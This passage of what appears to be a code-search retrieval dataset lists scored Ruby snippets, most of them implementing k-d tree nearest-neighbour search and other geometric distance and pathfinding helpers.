target_point.y <=> @value.y\n elsif @axis == 2\n target_point.z <=> @value.z\n else\n target_point[@axis] <=> @value[@axis]\n end\n\n case cmp\n when -1\n unsearched = @right\n @left._nearest_k(target_point, bestk) unless @left.nil?\n when 1\n unsearched = @left\n @right._nearest_k(target_point, bestk) unless @right.nil?\n when 0\n if @left\n unsearched = @right\n @left._nearest_k(target_point, bestk)\n else\n unsearched = @left\n @right._nearest_k(target_point, bestk)\n end\n end\n\n # We do not need to search the other child if\n # A: we don't have another child OR\n # B: we (a) already have enough candidates (bestk is full) and (b) we\n # are too far from the axis.\n unless unsearched.nil? || (bestk.full? && axis_too_far_from(target_point, bestk))\n unsearched._nearest_k(target_point, bestk)\n end\n\n # Add ourself only after we check whether to search the unsearched\n # tree. The reason is that:\n # our_distance_to_target >= target_distance_to_axis\n # so, if we add ourself before we call axis_too_far_from,\n # then we will be in bestk, so bestk distance can't be smaller than\n # our distance, hence we will always search the other side (correct\n # results, but inefficient).\n bestk.add(my_result)\n end", "title": "" }, { "docid": "45ed0119ed4e1ae8a675a27941a89a14", "score": "0.6509301", "text": "def _nearest_k(target_point, bestk)\n my_result = SearchResult.new(@value, target_point.distance_sq(@value))\n if self.leaf?\n bestk.add(my_result)\n return\n end\n\n cmp = if @axis == 0\n target_point.x <=> @value.x\n elsif @axis == 1\n target_point.y <=> @value.y\n elsif @axis == 2\n target_point.z <=> @value.z\n else\n target_point[@axis] <=> @value[@axis]\n end\n\n case cmp\n when -1\n unsearched = @right\n @left._nearest_k(target_point, bestk) unless @left.nil?\n when 1\n unsearched = @left\n @right._nearest_k(target_point, bestk) unless @right.nil?\n when 0\n if @left\n unsearched = @right\n @left._nearest_k(target_point, bestk)\n else\n unsearched = @left\n @right._nearest_k(target_point, bestk)\n end\n end\n\n # We do not need to search the other child if\n # A: we don't have another child OR\n # B: we (a) already have enough candidates (bestk is full) and (b) we\n # are too far from the axis.\n unless unsearched.nil? or (bestk.full? and axis_too_far_from(target_point, bestk))\n unsearched._nearest_k(target_point, bestk)\n end\n\n # Add ourself only after we check whether to search the unsearched\n # tree. The reason is that:\n # our_distance_to_target >= target_distance_to_axis\n # so, if we add ourself before we call axis_too_far_from,\n # then we will be in bestk, so bestk distance can't be smaller than\n # our distance, hence we will always search the other side (correct\n # results, but inefficient).\n bestk.add(my_result)\n end", "title": "" }, { "docid": "865e2aa7b96cb5edb32e97d14f56a00b", "score": "0.6491833", "text": "def _nearest_k(target_point, bestk)\n my_result = SearchResult.new(@value, target_point.distance(@value))\n if self.leaf?\n bestk.add(my_result)\n return\n end\n\n cmp = if @axis == 0\n target_point.x <=> @value.x\n else\n target_point.y <=> @value.y\n end\n case cmp\n when -1\n unsearched = @right\n @left._nearest_k(target_point, bestk) unless @left.nil?\n when 1\n unsearched = @left\n @right._nearest_k(target_point, bestk) unless @right.nil?\n when 0\n if @left\n unsearched = @right\n @left._nearest_k(target_point, bestk)\n else\n unsearched = @left\n @right._nearest_k(target_point, bestk)\n end\n end\n\n # We do not need to search the other child if\n # A: we don't have another child OR\n # B: we (a) already have enough candidates (bestk is full) and (b) we\n # are too far from the axis.\n unless unsearched.nil? or (bestk.full? and axis_too_far_from(target_point, bestk))\n unsearched._nearest_k(target_point, bestk)\n end\n\n # Add ourself only after we check whether to search the unsearched\n # tree. The reason is that:\n # our_distance_to_target >= target_distance_to_axis\n # so, if we add ourself before we call split_plane_close_enough_to,\n # then we will be in bestk, so bestk distance can't be smaller than\n # our distance, hence we will always search the other side (correct\n # results, but inefficient).\n bestk.add(my_result)\n end", "title": "" }, { "docid": "34a5d0a79149d386e10a0510b980293f", "score": "0.61596745", "text": "def best_direction target\n\t\td1 = nil\n\t\td2 = nil\n\n\t\tfind_path true \n\t\tif @square != @start\n\t\t\ttarget1 = @square\n\t\t\td1 = $pointcache.distance target1, target\n\t\t\n\t\t\thistory1 = @history.clone\n\t\tend\n\n\t\tfind_path false \n\t\tif @square != @start\n\t\t\ttarget2 = @square\n\t\t\td2 = $pointcache.distance target2, target\n\t\tend\n\n\t\t# Select known paths over unknown paths\n\t\tdo_left = false\n\t\tif d1.nil? and not d2.nil?\n\t\t\t$logger.info \"selecting right; left is unknown\"\n\t\t\treturn false\n\t\telsif not d1.nil? and d2.nil?\n\t\t\t$logger.info \"selecting left; right is unknown\"\n\t\t\tdo_left = true\n\t\telsif d1.nil? and d2.nil?\n\t\t\t$logger.info \"No known paths\"\n\t\t\t# Don't make any assumptions\n\t\t\treturn nil\n\t\tend\n\n\t\tif do_left or d1 < d2 \n\t\t\t$logger.info \"left is better\"\n\n\t\t\t#reset internal state, it was overwritten with last search\n\t\t\t#find_path true \n\t\t\t@left = true\n\t\t\t@history = history1\n\t\t\t@square = target1\n\n\t\t\tret = true\n\t\telse\n\t\t\t$logger.info \"right is better\"\n\n\t\t\tret = false\n\t\tend\n\n\t\tret\n\tend", "title": "" }, { "docid": "fd7964dab6eb207b2fd277eaccda2b83", "score": "0.61196524", "text": "def distance_compare_function(goal, other_path)\n # puts \"DEBUG: self=#{self}; distance_compare_function(goal=#{goal}, other_path#{other_path})\"\n if self.last_node.distance_squared(goal) == other_path.last_node.distance_squared(goal)\n # puts \"stop1\"\n if self.last_node.x == other_path.last_node.x\n # puts \"stop2\"\n self.last_node.y <=> other_path.last_node.y \n else\n # puts \"stop3\"\n other_path.last_node.x <=> self.last_node.x # order reversed, because we want the right-side first\n end\n else\n # puts \"stop4\"\n self.last_node.distance_squared(goal) <=> other_path.last_node.distance_squared(goal)\n end\n end", "title": "" }, { "docid": "685fbed6bc52c314304f9e8f2a29cbba", "score": "0.6044481", "text": "def nearest(node, target, k_nearest, depth)\n axis = depth % @dimensions\n \n if node.left.nil? && node.right.nil? # Leaf node\n @nearest = check_nearest(@nearest, node, target, k_nearest)\n return\n end\n \n # Go down the nearest split\n if node.right.nil? || (node.left && target[axis] <= node.coords[axis])\n nearer = node.left\n further = node.right\n else\n nearer = node.right\n further = node.left\n end\n nearest(nearer, target, k_nearest, depth+1)\n \n # See if we have to check other side\n if further\n if @nearest.size < k_nearest || (target[axis] - node.coords[axis])**2 < @nearest.last[0]\n nearest(further, target, k_nearest, depth+1)\n end\n end\n \n @nearest = check_nearest(@nearest, node, target, k_nearest)\n end", "title": "" }, { "docid": "5c90164c196960585af19b0de244b04e", "score": "0.59967554", "text": "def check_nearest(nearest, node, target)\r\n d = distance2(node, target) \r\n if nearest.size < 4 || d < nearest.last[0]\r\n nearest.pop if nearest.size >= 4\r\n nearest << [d, node.id]\r\n nearest.sort! { |a, b| a[0] <=> b[0] }\r\n end\r\n nearest\r\nend", "title": "" }, { "docid": "fd160fadf45b7dd58a674a529d37beb4", "score": "0.59785026", "text": "def nearest(node, target, k_nearest, depth)\n axis = depth % @dimensions\n\n if node.left.nil? && node.right.nil? # Leaf node\n @nearest = check_nearest(@nearest, node, target, k_nearest)\n return\n end\n\n # Go down the nearest split\n if node.right.nil? || (node.left && target[axis] <= node.coords[axis])\n nearer = node.left\n further = node.right\n else\n nearer = node.right\n further = node.left\n end\n nearest(nearer, target, k_nearest, depth+1)\n\n # See if we have to check other side\n if further\n if @nearest.size < k_nearest || (target[axis] - node.coords[axis])**2 < @nearest.last[0]\n nearest(further, target, k_nearest, depth+1)\n end\n end\n\n @nearest = check_nearest(@nearest, node, target, k_nearest)\n end", "title": "" }, { "docid": "683fa2e09c76070e07434b193f42ee90", "score": "0.58515406", "text": "def check_nearest(nearest, node, target, k_nearest)\n d = distance2(node, target) \n if nearest.size < k_nearest || d < nearest.last[0]\n nearest.pop if nearest.size >= k_nearest\n nearest << [d, node.id]\n nearest.sort! { |a, b| a[0] <=> b[0] }\n end\n nearest\n end", "title": "" }, { "docid": "683fa2e09c76070e07434b193f42ee90", "score": "0.58515406", "text": "def check_nearest(nearest, node, target, k_nearest)\n d = distance2(node, target) \n if nearest.size < k_nearest || d < nearest.last[0]\n nearest.pop if nearest.size >= k_nearest\n nearest << [d, node.id]\n nearest.sort! { |a, b| a[0] <=> b[0] }\n end\n nearest\n end", "title": "" }, { "docid": "f7457a0a17002f6c6b9e94c4906aa61b", "score": "0.57867646", "text": "def check_nearest(nearest, node, target, k_nearest)\n d = distance2(node, target)\n if nearest.size < k_nearest || d < nearest.last[0]\n nearest.pop if nearest.size >= k_nearest\n nearest << [d, node.id]\n nearest.sort! { |a, b| a[0] <=> b[0] }\n end\n nearest\n end", "title": "" }, { "docid": "09a307abc812451b23b459fccfb0ca9e", "score": "0.5779631", "text": "def through_wall?(other)\n @x > other.x + (other.width/2)\n end", "title": "" }, { "docid": "a6b7797ab7b5d4c503cc74cfbeb0993d", "score": "0.57522184", "text": "def closer?(v, u, target)\n if distance(v, target) < distance(u, target)\n return true\n end\n return false\nend", "title": "" }, { "docid": "e04f3abb5ae2ac5293dfa0a0429df810", "score": "0.5740813", "text": "def distance_checker(coord, other, cut_off)\n\t\t\tsq_diffs=[]\n\t\t\t\t(0...(coord.size)).each do |i|\n\t\t\t\tpos = coord[i]\n\t\t\t\toth = other[i]\n\t\t\t\tsq_diffs << (oth - pos)**2\n\t\t\t\tend\n\t\t\tNMath.sqrt(sq_diffs.inject {|sum, vec| sum + vec }) #< cut_off\n\t\t\tend", "title": "" }, { "docid": "27e3727ea36eb7fd7d4152f885d6eabc", "score": "0.5708144", "text": "def check_target\n @hit_target = dist(location.x, location.y, target.x, target.y) < 12\n end", "title": "" }, { "docid": "fa8041374bad1a3102c959fa032e9591", "score": "0.57002777", "text": "def near?(vect, dist); end", "title": "" }, { "docid": "fa8041374bad1a3102c959fa032e9591", "score": "0.57002777", "text": "def near?(vect, dist); end", "title": "" }, { "docid": "85345598b68b7a949bb7796fbde6b718", "score": "0.561913", "text": "def kd_search_nn(here, point, best, depth=0)\n if (!here)\n return best\n end\n\n puts \"start node #{here.location.id} depth=#{depth}\" unless $debug==0\n\n if (here.location!=point and best.size<3)\n if ($debug==1)\n print \"insert #{here.location.id} into best=\"\n best.each {|x| print \"<#{x.location.id}> \"}\n print \"\\n\"\n end\n best.push(here)\n largest = 0\n if (best[1] and distance(best[1].location, point)>distance(best[0].location, point))\n largest = 1\n end\n if (best[2] and distance(best[2].location, point)>distance(best[largest].location, point))\n largest = 2\n end\n if (largest!=0)\n tmp = best[0]\n best[0] = best[largest]\n best[largest] = tmp\n end\n # consider the current node\n elsif (here.location!=point and distance(here.location, point)<distance(best[0].location, point))\n if ($debug==1)\n print \"try to fit #{here.location.id} into best=\"\n best.each {|x| print \"<#{x.location.id}> \"}\n print \"\\n\"\n end\n best[0] = here\n largest = 0\n if (distance(best[1].location, point)>distance(best[0].location, point))\n largest = 1\n end\n if (distance(best[2].location, point)>distance(best[largest].location, point))\n largest = 2\n end\n if (largest!=0)\n tmp = best[0]\n best[0] = best[largest]\n best[largest] = tmp\n end\n end\n\n # search the near brach\n if (depth%2==0)\n axis = here.location.lat\n pivot = point.lat\n else\n axis = here.location.long\n pivot = point.long\n end\n if pivot<=axis\n near_child = here.left_child\n far_child = here.right_child\n else\n near_child = here.right_child\n far_child = here.left_child\n end\n print \"search near child \" unless $debug==0\n best = kd_search_nn(near_child, point, best, depth+1)\n\n # search the away brnach maybe\n if ((axis-pivot).abs**2<distance(best[0].location,point))\n print \"search far child \" unless $debug==0\n best = kd_search_nn(far_child, point, best, depth+1)\n end\n\n if ($debug==1)\n print \"finish node #{here.location.id} depth=#{depth} best=\"\n best.each {|x| print \"<#{x.location.id}> \"}\n print \"\\n\"\n end\n return best\nend", "title": "" }, { "docid": "149d4f3e4dae8030f3685b3e94bd0123", "score": "0.56047076", "text": "def euclidean_distance(other)\n assert_equal_dimmensions(other)\n sum_pairwise(other) { |x, ox| (x - ox) ** 2 } ** 0.5\n end", "title": "" }, { "docid": "ca9c42acc81b65150c5b6db8fbd5d23e", "score": "0.5526852", "text": "def is_closer_to_extent(candidate)\n candidate.x >= @x && candidate.y >= @y\n end", "title": "" }, { "docid": "79554b8cebeedee4b9da66824f92c42c", "score": "0.5502554", "text": "def close_enough(point)\n #p \"#{point.x} x #{point.y}\"\n #p \"size = #{@image.size.width.to_s} x #{@image.size.height.to_s}\"\n closeRadius = Math.sqrt(@image.size.width*@image.size.width + @[email protected]) / 2.0\n #p \"close enought? = #{(@position - point).magnitude < 1.2 * closeRadius}\"\n (@position - point).magnitude < 1.2 * closeRadius\n end", "title": "" }, { "docid": "d09f6a6fee5a683874bff8465b0085ec", "score": "0.5498602", "text": "def distance2(node, target)\r\n return nil if node.nil? or target.nil?\r\n c = (node.coords[0] - target[0])\r\n d = (node.coords[1] - target[1])\r\n c * c + d * d\r\nend", "title": "" }, { "docid": "946ac497a7efe52c9053daaa5c4af75c", "score": "0.54832715", "text": "def closest_binary_search(target)\n return nil if self.size == 0\n # uses array indecies to slice the array\n # into halves progressively\n front = 0\n back = [self.size-1, 0].max # max to handle length 0\n while true\n mid = ((back - front) / 2) + front\n # \"base\" case of length 3\n if back - front <= 2\n closest_to_value = nil\n (0..(back-front)).each do |i|\n absolute_index = front + i\n distance_to_n = (self[absolute_index] - target).abs\n if closest_to_value.nil? || distance_to_n < (closest_to_value - target).abs\n closest_to_value = self[absolute_index]\n end\n end\n return closest_to_value\n elsif target <= self[mid]\n # if in first half of array, move en\n # pointer to middle\n back = mid\n else\n # if in second half, move front pointer\n # to mid\n front = mid\n end\n end\n end", "title": "" }, { "docid": "b0ddfbc99cd1e586c00e94ddaf034b6b", "score": "0.5470438", "text": "def two_d_edge?(coord)\n coord[0].zero? || coord[1].zero? || coord[0] == @y_dim || coord[1] == @x_dim\n end", "title": "" }, { "docid": "601f335661502b157b152180c5708f30", "score": "0.5468358", "text": "def choose_by_primary_criteria(first_node, second_node, next_pick)\n if next_pick.is_a? Node\n enlargement_of_first = first_node.enlargement_needed_to_consume_bounding_box(next_pick.bounding_box, @space)\n enlargement_of_second = second_node.enlargement_needed_to_consume_bounding_box(next_pick.bounding_box, @space)\n else\n enlargement_of_first = first_node.enlargement_needed(next_pick)\n enlargement_of_second = second_node.enlargement_needed(next_pick)\n end\n\n if enlargement_of_first < enlargement_of_second\n first_node\n elsif enlargement_of_first > enlargement_of_second\n second_node\n else\n choose_by_secondary_criteria(first_node, second_node)\n end\n end", "title": "" }, { "docid": "bfcebe7ec51007b126f9c05b29e48098", "score": "0.54371864", "text": "def feasible_tree origin\n # ascribe an initial rank to the `@nodes` in the tree given by the origin\n initial_rank origin\n\n # okay so i think my initial intuition was correct: first we\n # obtain the spanning tree from the origin, then we get the tight\n # tree from the spanning tree.\n stree = spanning_tree_edges origin\n snodes = tree_nodes stree # (may as well grab this once, now)\n\n # the tight tree is going to be a subtree of the spanning tree\n # such that all nodes have distance 1 (or `@delta`, actually)\n ttree = tight_tree snodes\n\n # we use the `tree_nodes` function i made to test that `ttree` is\n # the same as `stree`; since `ttree` is made up of `stree` we can\n # just test the sizes:\n while (tnodes = tree_nodes(ttree)).size < snodes.size\n # back to the actual algorithm in GKNV93: we look for the first\n # node in `stree` we can find that is not in `ttree`, \"with a\n # minimal amount of slack\". (if the node is not already in\n # `ttree`, its rank is necessarily farther away than the minimum\n # distance `@delta`, which will usually be 1.)\n\n # ackchyually, all we care about from this next step is a number\n # `delta` by which move all the nodes in `ttree` either up (if\n # negative) or down in rank.\n delta = (snodes - tnodes).map do |nn|\n nr = rank_for nr # grab the rank of the incident (neighbour) node\n\n # generate separate slack values for the head and the tail\n hslack, tslack = [true, false].map do |t|\n # rather than generate the whole cartesian product we take\n # the intersection of the incident node's neighbours with\n # the tight tree, from which we find the lowest absolute\n # value that is higher than the global minimum distance,\n # `@delta`:\n (tnodes & neighbours(nn, t)).map do |n|\n (nr - rank_for(n)).abs - @delta\n end.select { |slack| slack > 0 }.min\n end\n # flip the sign on head\n hslack = -hslack if hslack\n [hslack, tslack]\n end.flatten.compact.sort do |a, b|\n c = a.abs <=> b.abs # sort first by absolute value\n c == 0 ? a <=> b : c # then prefer a shift up over a shift down\n end.first\n\n # now we move all the elements of `ttree` either up or down by\n # `delta` (we short-circuit around `rank_for` cause it's easier)\n ttree.each { |n| @nodes[n][:rank] += delta }\n\n # then we regenerate `ttree` before looping again\n ttree = tight_tree snodes\n end\n\n # finally we generate some initial cut values on the spanning tree\n # (again this method modifies `@nodes[x][:cut]`)\n initial_cut_values origin\n\n stree\n end", "title": "" }, { "docid": "af108fc00e05fa2debb7f3e0b4a40a98", "score": "0.54266906", "text": "def is_point_left_on_or_right point\n (@end_point.y - @start_point.y) * (point.x - @start_point.x) - (point.y - @start_point.y) * (@end_point.x - @start_point.x)\n end", "title": "" }, { "docid": "d3cb252b6e61edd062d524b4458273e6", "score": "0.54202056", "text": "def close_enough(actual, expected)\n return false if expected.nil?\n (actual - expected).abs <= MEAN_SOLAR_ANOMALY_DELTA\n end", "title": "" }, { "docid": "d771fb0ee819512bc4c928f0eabe8c2a", "score": "0.53976685", "text": "def locate_correct_node_for_data node, datax, datay\n ((node.x1 <= datax && node.x2 >= datax) && (node.y1 <= datay && node.y2 >= datay))\n end", "title": "" }, { "docid": "dfd6f115f6c3554c4fdd25062e57d288", "score": "0.53912765", "text": "def is_closer_to_origin(candidate)\n candidate.x <= @x && candidate.y <= @y\n end", "title": "" }, { "docid": "4f6bf1cf1f07ec75ab174ddaf51d5c2b", "score": "0.53878516", "text": "def overlaps_in_x? (other)\n (self.leftmost_plane >= other.leftmost_plane && self.rightmost_plane <= other.rightmost_plane) || \\\n (self.leftmost_plane < other.leftmost_plane && self.rightmost_plane > other.rightmost_plane) || \\\n (self.leftmost_plane > other.leftmost_plane && self.leftmost_plane < other.rightmost_plane) || \\\n (self.rightmost_plane > other.leftmost_plane && self.rightmost_plane < other.rightmost_plane)\n end", "title": "" }, { "docid": "35966c21b7689e6f22caeb6c7ccfbfdd", "score": "0.5386995", "text": "def closest_end_nodes(target_end_node, max_dist = 2 << 64)\n closest = [] \n @end_node_dijkstras.each do |end_node, it|\n dist = dist(end_node, target_end_node)\n dist_reverse = dist(target_end_node, end_node)\n closest << end_node if !dist.nil? and dist < max_dist\n closest << end_node if !dist_reverse.nil? and dist_reverse < max_dist\n end\n closest.uniq\n end", "title": "" }, { "docid": "e11a684b70dc4c5c613c043b3df6fcda", "score": "0.5382883", "text": "def at_axis_limit?(axis)\n axis == 'y' ? self.y == self.map.y : self.x == self.map.x\n end", "title": "" }, { "docid": "bb3945ed26938fc8153cb3ae2997f65b", "score": "0.5351681", "text": "def avoid_neighbors radius\n direction = V_ZERO\n self.neighbors.each do |other_boid|\n distance = self.position.distance_from(other_boid.position)\n if distance < radius\n direction -= (other_boid.position - self.position).normalize\n end\n end\n direction\n end", "title": "" }, { "docid": "4ecad6b2d18ee4cf42c796f01808350c", "score": "0.53478724", "text": "def out_of_space?\n return true if x > ending_x\n return true if y > ending_y\n return true if x.negative?\n return true if y.negative?\n\n false\n end", "title": "" }, { "docid": "8701692737db04054606f8960f8279a5", "score": "0.53444684", "text": "def on_edge(point)\n x = point.x\n y = point.y\n width = point.arena.width\n height = point.arena.height\n return (x == width) || (x == 0) || (y == height) || (y == 0)\nend", "title": "" }, { "docid": "d200919b2309e25398d159f3003ea6d5", "score": "0.53431857", "text": "def is_widower_of( x ) #veuf\n node = @graph.add_nodes( \"#{@node.id}And#{x.node.id}\" )\n node[\"shape\"] = \"point\"\n node[\"color\"] = \"green\"\n @graph.add_edges( @node, node, \"dir\" => \"none\", \"color\" => \"green\" )\n @graph.add_edges( node, x.node, \"dir\" => \"none\", \"color\" => \"green\" )\n @tree.add_couple( self, x, node )\n end", "title": "" }, { "docid": "01b6a9c51fb14508c93746825b57717c", "score": "0.53222734", "text": "def end_of_half?\n end_of_half == self\n end", "title": "" }, { "docid": "cd8903d9bd2971df4d366b5080d953a0", "score": "0.53220963", "text": "def nearest(target_point)\n nearest_k(target_point, 1)[0]\n end", "title": "" }, { "docid": "3f7836bc9e6ec51e5862cad5264bf22a", "score": "0.5320634", "text": "def dijkstra_mouse_over_target?\n inputs.mouse.point.inside_rect?(dijkstra_scale_up(grid.target))\n end", "title": "" }, { "docid": "174510a82f881d439411eddfbd83375d", "score": "0.53173286", "text": "def safety_check(rover)\n case rover.direction\n when \"N\"\n return rover.yaxis + 1 <= @max_y\n when \"E\"\n return rover.xaxis + 1 <= @max_x\n when \"S\"\n return rover.yaxis - 1 >= 0\n when \"W\"\n return rover.xaxis - 1 >= 0\n end\n end", "title": "" }, { "docid": "6a22d180cd955206b70b0dc804b33aa6", "score": "0.53160346", "text": "def close_to?(point)\n # needs the radius for this\n vec_pt = point #Vector.from_pt(point)\n distance = (vec_pt - @position).magnitude\n distance <= @radius\n end", "title": "" }, { "docid": "cbef514b8f6fe62d999124414277211f", "score": "0.5314185", "text": "def neighbour(side)\n side == :right ? @right_neighbours : @left_neighbours\n end", "title": "" }, { "docid": "8735066c790244fc5b30be610db76c00", "score": "0.5312923", "text": "def samedirection?(vector2)\n end", "title": "" }, { "docid": "7d2d2e2414f992d382837ace3211b169", "score": "0.5311475", "text": "def crosses_meridian?\n @sw.lng > @ne.lng \n end", "title": "" }, { "docid": "a3019c661bfdb153e095c75925240e66", "score": "0.5301223", "text": "def distance2(node, target)\n return nil if node.nil? or target.nil?\n c = (node.coords[0] - target[0])\n d = (node.coords[1] - target[1])\n c * c + d * d\n end", "title": "" }, { "docid": "a3019c661bfdb153e095c75925240e66", "score": "0.5301223", "text": "def distance2(node, target)\n return nil if node.nil? or target.nil?\n c = (node.coords[0] - target[0])\n d = (node.coords[1] - target[1])\n c * c + d * d\n end", "title": "" }, { "docid": "a3019c661bfdb153e095c75925240e66", "score": "0.5301223", "text": "def distance2(node, target)\n return nil if node.nil? or target.nil?\n c = (node.coords[0] - target[0])\n d = (node.coords[1] - target[1])\n c * c + d * d\n end", "title": "" }, { "docid": "eadab2f5bc70e330dd1564394a20cdcb", "score": "0.5295656", "text": "def trans_edge?\n [1, 4].include?(perpendicular)\n end", "title": "" }, { "docid": "b62f87870101ababec2c49ce77a55be9", "score": "0.52942044", "text": "def check_targeting\n targs = []; pos = $game_temp.grid.dup\n return if pos[1].compact.empty?\n pos[1].each {|sq| targs.push(pos[0][sq].get_unit) if pos[0][sq].get_unit != nil}\n targs.size==1 ?OrderManager.select(targs[0]): OrderManager.select_m(targs)\n end", "title": "" }, { "docid": "e18a0292231e943ea12d1a07d3b3b688", "score": "0.5293839", "text": "def commander_detection_heuristic!\n return unless @commander.empty?\n return if @side.empty?\n main_size = @main.map{|x| x[:count] }.sum\n side_size = @side.map{|x| x[:count] }.sum\n total_size = main_size + side_size\n return unless total_size == 60 or total_size == 100\n if side_size == 1 or side_size == 2\n @commander, @side = @side, @commander\n end\n end", "title": "" }, { "docid": "fdb0a97eaeeb2fa3731dedabc324bb06", "score": "0.5289927", "text": "def nearest(target_point)\n nearest_k(target_point, 1)[0] \n end", "title": "" }, { "docid": "c12e3429e5217639fba7b0bdcc8e9e1d", "score": "0.52778345", "text": "def edge?(coord)\n coord[0].zero? || coord[1].zero? || coord[0] == @y_length || coord[1] == @x_width\n end", "title": "" }, { "docid": "ea4157dc9b874782e95ecf9167a0a43e", "score": "0.52717245", "text": "def nearest_point? x, y\n qx = x - @l\n qy = y - @t\n if qx > @r\n qx = @r\n elsif qx < -@r\n qx = -@r\n end\n if qy > @b\n qy = @b\n elsif qy < -@b\n qy = -@b\n end\n \n [qx + x, qy + y] \n end", "title": "" }, { "docid": "49e82827ed3d1fce02e86fdb2103f9d7", "score": "0.5269441", "text": "def isCloseEnough(location, checkLaneP = false, margin = 1.0)\n if(location.edge == self.edge) then\n d = location.posOnLane - self.posOnLane ;\n if(Geo2D.abs(d) <= margin) then\n if(checkLaneP) then\n return location.laneIndex == self.laneIndex ;\n else\n return true ;\n end\n else\n return false ;\n end\n else\n return false ;\n end\n end", "title": "" }, { "docid": "1276526ce5c37afaf601e2afeca7229e", "score": "0.52658474", "text": "def crosses_meridian?\n @sw.lng > @ne.lng\n end", "title": "" }, { "docid": "60bed2b73097517636b7de75815d2336", "score": "0.52650595", "text": "def can_absorb?(node)\r\n Distances.send(@config.distance_metric, self, node) < @config.distance_treshold \r\n end", "title": "" }, { "docid": "276555a2fbc3e6dc730264d4bda2e1ec", "score": "0.52617484", "text": "def check_end_point\n # Check whether the coordinates of the node currently clicked matches with the coordinates of one of the end points\n # if yes then this method returns true\n is_end_point = false\n if @@first_end_point[0] == params[:x] && @@first_end_point[1] == params[:y]\n is_end_point = true\n elsif @@sec_end_point[0] == params[:x] && @@sec_end_point[1] == params[:y]\n is_end_point = true\n end\n is_end_point\n end", "title": "" }, { "docid": "efb027e3f093a23fec0d735636599cb4", "score": "0.525807", "text": "def turn_toward_target(x, y)\r\n # Get difference in target coordinates\r\n sx, sy = @x - x, @y - y\r\n # If coordinates are equal\r\n return if sx == 0 && sy == 0\r\n # If horizontal distance is longer\r\n if sx.abs > sy.abs\r\n # Turn to the right or left towards player\r\n sx > 0 ? turn_left : turn_right\r\n # If vertical distance is longer\r\n else\r\n # Turn up or down towards player\r\n sy > 0 ? turn_up : turn_down\r\n end\r\n end", "title": "" }, { "docid": "f74437d506bf6120522d19749bf8e063", "score": "0.52410764", "text": "def los_distance(x, y)\n [self.pos_x - x, self.pos_y - y].max_by { |pos| pos.abs }.abs\n end", "title": "" }, { "docid": "29c0c985d5d477db93764de9874affcb", "score": "0.52351105", "text": "def closestPair pX, pY\n\n\tif pX.size == 2\n\t\treturn [ pX[0], pX[1], eucDist( pX[0], pX[1] ) ]\n\tend\n\n\tif pX.size == 3\n\t\td01 = eucDist( pX[0], pX[1] )\n\t\td02 = eucDist( pX[0], pX[2] )\n\t\td12 = eucDist( pX[1], pX[2] )\n\n\t\treturn [ pX[0], pX[1], d01 ] if d01 <= d02 && d01 <= d12\n\t\treturn [ pX[0], pX[2], d02 ] if d02 <= d01 && d02 <= d12\n\t\treturn [ pX[1], pX[2], d12 ] if d12 <= d01 && d12 <= d02\n\tend\n\n\t# divide\n\tqX, rX = pX.each_slice( (pX.size/2.0).round ).to_a\n\n\t# Y arrays consist of sorted by Y points of corresponding X arrays\n\tqY = []; rY = []\n\t# x bar\n\txB = qX.last\n\n\tfor p in pY\n\t\tif p[0] < xB[0]\n\t\t\tqY.push p\n\t\telse\n\t\t\trY.push p\n\t\tend\n\tend\n\n\t# conquer\n\tp1q1d = closestPair qX, qY\n\tp2q2d = closestPair rX, rY\n\n\t# pX is not needed in closestSplitPair, but x bar used twice\n\tp3q3d = closestSplitPair pY, xB, [ p1q1d[2], p2q2d[2] ].min\n\n\t# no split pairs better\n\tif p3q3d[2] == -1\n\t\tp3q3d[2] = p1q1d[2] + 1\n\tend\n\n\treturn p1q1d if p1q1d[2] <= p2q2d[2] && p1q1d[2] <= p3q3d[2]\n\treturn p2q2d if p2q2d[2] <= p1q1d[2] && p2q2d[2] <= p3q3d[2]\n\treturn p3q3d if p3q3d[2] <= p1q1d[2] && p3q3d[2] <= p2q2d[2]\nend", "title": "" }, { "docid": "a3df8a18179a837ed911027e132eeb75", "score": "0.52346355", "text": "def graph_equal_trans?(o2) o2.point2d? end", "title": "" }, { "docid": "4a709104e1e5095c0d33c3a7817b7ebc", "score": "0.5233143", "text": "def other_offense_in_same_range?(node); end", "title": "" }, { "docid": "a094c0acb9620ae9967b3303c2069f34", "score": "0.5218209", "text": "def moving_nodes?\r\n !!@_rational_moving_nodes\r\n end", "title": "" }, { "docid": "753d3e14b82b6a36754854eee03d8a4f", "score": "0.5216194", "text": "def crossing_boundary?( pivot, target )\n\t\tx1, x2 = pivot[:offset].begin, pivot[:offset].end\n\t\ty1, y2 = target[:offset].begin, target[:offset].end\n\n\t\tif ((x1 < y1) and (y1 < x2 and x2 < y2)) or ((y1 < x1 and x1 < y2) and (y2 < x2)) \n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "title": "" }, { "docid": "c7d26a0720668cee8135a6276a9b5534", "score": "0.5198131", "text": "def get_heuristic_distance(node1, node2)\n ((node1.x - node2.x).abs + (node1.y - node2.y).abs)\n end", "title": "" }, { "docid": "e7359166342f95605eda68c0913472e7", "score": "0.5196589", "text": "def find_tip_distance(oriented_node, max_tip_length)\n stack = DS::Stack.new\n first = MaxDistancedOrientedNode.new\n first.onode = oriented_node\n first.distance = oriented_node.node.length_alone\n stack.push first\n\n cache = {}\n max_dist = first.distance\n\n while current_max_distanced_onode = stack.pop\n if current_max_distanced_onode.distance > max_tip_length\n return false, current_max_distanced_onode.distance, []\n end\n\n max_dist = [max_dist, current_max_distanced_onode.distance].max\n\n current_max_distanced_onode.onode.next_neighbours(@graph).each do |oneigh|\n neighbour_distance = current_max_distanced_onode.distance + oneigh.node.length_alone\n next if cache[oneigh.to_settable] and cache[oneigh.to_settable] >= neighbour_distance\n distanced_node = MaxDistancedOrientedNode.new\n distanced_node.onode = oneigh\n distanced_node.distance = neighbour_distance\n log.debug \"The distance of #{distanced_node.onode.node_id} is at least #{neighbour_distance}\" if log.debug?\n cache[oneigh.to_settable] = neighbour_distance\n stack.push distanced_node\n end\n end\n\n log.debug \"Found insufficient max tip length #{max_dist} for #{oriented_node}\" if log.debug?\n return true, max_dist, cache.collect{|donode| donode[0]}\n end", "title": "" }, { "docid": "9402fc1374b5b82c269f4dd4a78537d6", "score": "0.5194001", "text": "def different_from_actual_position?(x, y, target)\n !(x == target[0] && y == target[1])\n end", "title": "" }, { "docid": "f1bef7154ced9b874d929328ea8a5f4b", "score": "0.5192099", "text": "def beginning_of_half?\n beginning_of_half == self\n end", "title": "" }, { "docid": "54f0d9db481f92e7214572af68aaea9c", "score": "0.519084", "text": "def getBound?\n\n v2 = @vertexs[2]\n bound = [ v2.x, v2.y, v2.z, 